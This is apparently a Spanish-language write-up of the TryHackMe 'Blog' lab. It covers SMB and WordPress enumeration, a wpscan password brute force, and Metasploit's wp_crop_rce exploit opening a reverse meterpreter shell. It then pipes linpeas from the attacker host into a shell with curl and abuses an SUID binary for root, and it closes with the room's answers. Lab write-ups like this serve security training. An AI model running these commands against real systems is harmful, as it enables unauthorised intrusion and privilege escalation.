TryHackMe - Blog
¿Inspeccionar el archivo binario en busca de código?
Introducción
Personalmente, NO recomiendo usar WordPress a menos que sea absolutamente necesario. La cantidad de vulnerabilidades que se descubren a diario es una locura.
Al principio, no pensé que fuera un desafío Medium, pero después de descubrir el archivo binario y analizarlo, me di cuenta de que no es una broma.
Nmap
Comencemos con el escaneo de nmap:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
$ nmap -T4 -n -sC -sV -Pn -p- 10.10.139.64
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 57:8a:da:90:ba:ed:3a:47:0c:05:a3:f7:a8:0a:8d:78 (RSA)
| 256 c2:64:ef:ab:b1:9a:1c:87:58:7c:4b:d5:0f:20:46:26 (ECDSA)
|_ 256 5a:f2:62:92:11:8e:ad:8a:9b:23:82:2d:ad:53:bc:16 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/wp-admin/
|_http-title: Billy Joel's IT Blog – The IT blog
|_http-generator: WordPress 5.0
|_http-server-header: Apache/2.4.29 (Ubuntu)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: BLOG; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2025-02-28T14:11:25
|_ start_date: N/A
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
| Computer name: blog
| NetBIOS computer name: BLOG\x00
| Domain name: \x00
| FQDN: blog
|_ System time: 2025-02-28T14:11:25+00:00
|_nbstat: NetBIOS name: BLOG, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
Puertos abiertos:
22/tcp
80/tcp
139/tcp
445/tcp
Reconocimiento
Dado que tenemos puertos SMB abiertos, busquemos recursos compartidos de Samba usando enum4linux
1
$ enum4linux -a 10.10.139.64
Podemos ver la parte de Billy.
1
2
3
print$ Disk Printer Drivers
BillySMB Disk Billy's local SMB Share
IPC$ IPC IPC Service (blog server (Samba, Ubuntu))
Conectémonos y descarguemos los archivos disponibles.
1
2
3
4
5
6
7
8
9
10
11
12
$ smbclient \\\\10.10.139.64\\BillySMB\\
Password for [WORKGROUP\rene]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Tue May 26 20:17:05 2020
.. D 0 Tue May 26 19:58:23 2020
Alice-White-Rabbit.jpg N 33378 Tue May 26 20:17:01 2020
tswift.mp4 N 1236733 Tue May 26 20:13:45 2020
check-this.png N 3082 Tue May 26 20:13:43 2020
15413192 blocks of size 1024. 9790060 blocks available
smb: \>
Bien, podemos verificar los archivos. Lo haré de esta manera:
- Montar el recurso compartido en mi carpeta local
- Salir de la carpeta y volver a ingresar para que se actualice
1
2
3
4
5
$ sudo mount -t cifs //10.10.139.64/BillySMB /home/rene/tryhackme/blog
$ cd ..
$ cd blog
$ ls
Alice-White-Rabbit.jpg check-this.png tswift.mp4
Ok, revisemos los archivos.
1
$ xdg-open Alice-White-Rabbit.jpg
1
$ xdg-open check-this.png
Código QR que nos envía a https://www.youtube.com/watch?v=eFTLKWw542g
-> No empezamos la canción de Fire
Y el vídeo es de una cabra gritando con la canción :D
Vamos a comprobar las imágenes con steghide
Ok, nos pide una contraseña que no conocemos.
Extrayendo algo de información
1
2
3
4
5
6
7
8
9
10
$ steghide --info Alice-White-Rabbit.jpg
"Alice-White-Rabbit.jpg":
format: jpeg
capacity: 1.8 KB
Try to get information about embedded data ? (y/n) y
Enter passphrase:
embedded file "rabbit_hole.txt":
size: 48.0 Byte
encrypted: rijndael-128, cbc
compressed: yes
Parece una madriguera de conejo(rabbit hole)…
Visitemos el sitio web 10.10.139.64
Parece un sitio web estándar de WordPress
Hay una herramienta muy útil para sitios web de WordPress llamada wpscan
que nos permite enumerar nombres de usuario. Usémosla
1
$ wpscan --url http://10.10.139.64 --enumerate u
Encontramos 2 usuarios
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[i] User(s) Identified:
[+] bjoel
| Found By: Wp Json Api (Aggressive Detection)
| - http://10.10.139.64/wp-json/wp/v2/users/?per_page=100&page=1
| Confirmed By:
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] kwheel
| Found By: Wp Json Api (Aggressive Detection)
| - http://10.10.139.64/wp-json/wp/v2/users/?per_page=100&page=1
| Confirmed By:
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
Intentemos hacer un ataque de fuerza bruta, incluso podemos hacerlo usando wpscan
1
wpscan --url http://10.10.139.64 -P /usr/share/wordlists/rockyou.txt -U "kwheel"
El formulario de inicio de sesión funciona únicamente a través de blog.thm, por lo que debemos agregar la IP a nuestro archivo /etc/hosts
para que funcione con el nombre de host.
1
2
echo "10.10.139.64 blog.thm" | sudo tee -a /etc/hosts
10.10.139.64 blog.thm
Intenté cargar el archivo de shell inverso en la sección de medios, pero no parece funcionar
Bueno, después de investigar un poco sobre imágenes y cargas en WordPress, encontré esta vulnerabilidad CVE-2019-8942
Abramos metasploit
y verifiquemos si existe un módulo para esto
1
2
3
4
5
6
7
8
9
msfconsole
msf6 > search CVE-2019-8942
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/http/wp_crop_rce 2019-02-19 excellent Yes WordPress Crop-image Shell Upload
¡Qué suerte hay! ¡Aprovechémosla!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
msf6 > use use exploit/multi/http/wp_crop_rce
msf6 exploit(multi/http/wp_crop_rce) > options
Module options (exploit/multi/http/wp_crop_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes The WordPress password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metas
ploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
THEME_DIR no The WordPress theme dir name (disable theme auto-detection if provid
ed)
USERNAME yes The WordPress username to authenticate with
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.133.135 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Así que vamos a configurar las opciones requeridas
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
msf6 exploit(multi/http/wp_crop_rce) > set PASSWORD <CENSORED>
msf6 exploit(multi/http/wp_crop_rce) > set RHOSTS blog.thm
msf6 exploit(multi/http/wp_crop_rce) > set username kwheel
msf6 exploit(multi/http/wp_crop_rce) > set LHOST 10.11.75.122
msf6 exploit(multi/http/wp_crop_rce) > exploit
[*] Started reverse TCP handler on 10.11.75.122:4444
[*] Authenticating with WordPress using kwheel:<CENSORED>...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload
[+] Image uploaded
[*] Including into theme
[*] Sending stage (40004 bytes) to 10.10.139.64
[*] Attempting to clean up files...
[*] Meterpreter session 1 opened (10.11.75.122:4444 -> 10.10.139.64:45118) at 2025-02-28 16:29:26 +0100
meterpreter >
Y tenemos una sesión de meterpreter
Cambiemos al shell tty mediante el comando shell
Parece que el indicador user.txt
no es un indicador esta vez
Escalada de privilegios
Escalemos nuestros privilegios
sudo -l
no funciona, intentemos descargar linpeas.sh
de nuestra máquina y ejecutarlo
(No olvide iniciar el servidor http local en la carpeta donde se encuentra linpeas.sh
)
1
curl 10.11.75.122/linpeas.sh | sh
Vaya, ni una sola cosa…
Después de buscar en Google, encontré “https://github.com/Anon-Exploiter/SUID3NUM”, así que descarguémoslo y ejecutémoslo
1
curl 10.11.75.122/suid3num.py
Bueno, finalmente algo
Descarguemos el archivo (inicie el servidor http local en la máquina de destino donde está el archivo checker
)
1
$ wget http://10.10.139.64:8000/checker
Analicemos el archivo binario con la herramienta ghidra
Después de una larga investigación, probablemente hayamos encontrado el código que estamos buscando
Code functionality:
- Obtenga el valor de la variable de entorno
admin
usandogetenv("admin")
- Verifique si admin está configurado
- Si admin no está configurado (es decir, NULL), imprima “Not an Admin”.
- Si admin está configurado, continúe con el siguiente paso
- Aumente los privilegios llamando a setuid(0) (para configurar la ID de usuario como root, si está permitido)
- Genere un nuevo shell ejecutando system(“/bin/bash”) para abrir un shell root
Entonces, lo que podemos hacer básicamente es configurar la variable admin
con cualquier valor y ejecutar checker
1
2
3
admin=rene /usr/sbin/checker
id
uid=0(root) gid=33(www-data) groups=33(www-data)
Bandera Root
Así que ahora podemos obtener todas las banderas
Usuario
Root
Resto de preguntas:
¿Dónde se encontró el archivo user.txt?
Respuesta:
1
/media/usb
¿Qué CMS estaba usando Billy?
Respuesta:
1
Wordpress
¿Qué versión del CMS mencionado anteriormente se estaba utilizando?
1
5.0